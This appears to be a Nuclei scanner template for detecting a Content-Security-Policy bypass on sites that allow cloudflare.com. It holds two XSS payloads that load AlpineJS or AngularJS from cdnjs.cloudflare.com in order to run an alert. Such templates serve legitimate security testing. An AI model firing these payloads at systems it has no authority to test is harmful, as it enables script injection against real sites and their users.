id: cloudflare-cdn-csp-bypass

info:
  name: Content-Security-Policy Bypass - Cloudflare CDN
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,cloudflare-cdn

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "cloudflare.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: cloudflare_cdn_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://cdnjs.cloudflare.com/ajax/libs/alpinejs/3.10.5/cdn.min.js"></script><div x-init="alert(1)">'
        - '<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "cloudflare_cdn_csp_xss == true"
# digest: 4a0a00473045022026bc32022b076261e981d53c1651385050c4e1baeb43babf127cb2245e13077e0221009e14484c34b9dd900df05a1d362368fb6874e7041794d10648f80b60ef885ca5:922c64590222798bb761d5b6d8e72950